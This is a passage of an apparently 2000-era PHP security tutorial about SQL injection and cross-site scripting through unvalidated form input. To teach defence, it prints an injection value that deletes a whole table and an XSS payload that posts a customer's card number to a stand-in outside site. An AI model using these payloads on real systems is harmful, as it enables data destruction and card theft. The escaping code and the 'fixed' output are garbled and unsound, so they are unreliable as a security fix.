#native_company# #native_desc#
#native_cta#

Check Data Page 3

By Spencer P
on November 3, 2000

Manipulating Your Input

This is a more subtle problem for those who may not fully understand
every detail of what they are doing. Good data manipulation is a matter
of watching what you do and how you do it, because this is where
hackers and crackers can have a field day.
In our original function, there is a statement:

<?php

OCIPrepare($dbh,"

    Insert into addressBook

        (firstName,lastName,streetAddress,city,zip)

    values

        ('$firstName','$lastName','$streetAddress','$city','$zip')"
);

?>



Bob O’Connor is a candidate to have his address saved in our table
address book. The string in which the SQL is parsed now contains “…
(‘Bob’,’O’Connor’, ….” You may see the error now. That single quote in
“O’Connor” needs to be escaped. The oracle way is to turn “O’Connor”
into “O”Connor”, by replacing all single apostrophes with two
apostrophes.
Bob O’Connor probably doesn’t care how you deal with this situation,
but let’s think about the hacker and/or cracker who will love you for a
statement like:

delete from addressBook where lastName=$lastname

What if $lastname=”” or 1″? Now our statement looks like:
delete from addressBook where lastName=” or 1
Everything out of your address book has now successfully been deleted. It is now time to
break out the 40gig backup tapes.
Just because one language (like PHP) can take your input without a
problem, don’t assume that another language (like SQL) will happily accept the same
input. This is not a matter of coding for what you want to
happen: it is a matter of coding for what you don’t want to happen.
Escape your characters if you are using more than one language interpreter.
If you are using PHP to evaluate dynamic PHP via eval(), don’t assume
that the variables you use to construct the dynamic PHP will be
sane.
One more example. Here’s a simple piece of HTML and PHP which does
something neat.

<?php

if($CC) {

    
save($CC);

    
header("Location: <https://www.mystore.com/my.php>");

    exit();

}

        

?>



<form method="post" action="my.php">
Input your CC number to pay for your purchase.<br>
<input type="text" name="CC" value="<?php echo $CC; ?>"><br>
<input type="submit" value="Show me the money!">
</form>
A piece of code to save your credit card number, but with one faux pas:
I didn’t check to be sure $CC is valid before trying to save! But
save($CC) should check to make sure it’s getting valid input, as well.
Let’s assume the spec for save($CC) is: if the $CC is valid, it is saved;
else, an error is returned. So let’s change our code to correspond
with that spec.

<?php

if(save($CC)) {

    
header("Location: ....");

    exit;

}

    

?>



So now if $CC is invalid, our little input tag does something cool. It
lets the user see and correct his mistake!
<input type=”text” name=”CC” value=”<?php echo $CC; ?>”>
Remember what I said about coding in one language to output to another?
This example is vulnerable to cross-site scripting. (This is when you
input your own script code as input to another program and the result
returned is a page that now does something else — something the
programmer never intended.) A hacker/cracker might input the following for
$CC…watch the exact characters used:
"></form><form action=<http://www.mycompetitor.com/haha.cgi>>
Input your CC again for validation purposes: 
<input name="CC"><input type=submit></form><!-
Don’t worry how the person managed to fit all of this into our
program. Now our web page will look like this after PHP gets to it:
<form method="post" action="my.php">
Input your CC number to pay for your purchase.
<input type="text" name="CC" value=""></form><form 
action=<http://www.mycompetitor.com/haha.cgi>>Input your CC again for validation 
purposes: <input name="CC"><input type=submit></form><!-">
<input type="submit" value="Show me the money!">
</form>
This is a very simple hack and slash example, but our page will now
have two input fields. The first goes nowhere since the submit button
isn’t within the <form></form> tags. The second sends the credit card
number to another site! The rest of the HTML is blanked out after the
second closing form tag. A quick and nasty hack, eh? We can beautify this
further, but the point here is to show that you should never trust your input. HTML
is taking input from PHP.
How to prevent this? A line before or during printing:

<?php

$CC=ereg_replace(""","&quot;",$CC);

?>



Now if some evil person tries the above malicious code, or even a
simple:

“><input type=”submit” value=”DIE!

This will output:
<form method="post" action="my.php">
Input your CC number to pay for your purchase.
<input type="text" name="CC" value=""><input 
type="submit" value="DIE!">
<input type="submit" value="Show me the money!">
</form>
Annoying to anyone who views it? Yes. Dangerous to your customers?
Definitely not. The value in the input field is practically garbage. In
fact, you might get a phone call about someone at [email protected]
</ym/[email protected]&YY=7178&order=down&sort=date&pos=0>
sending you such things. What you do to Mr. “haha” is entirely up to
you.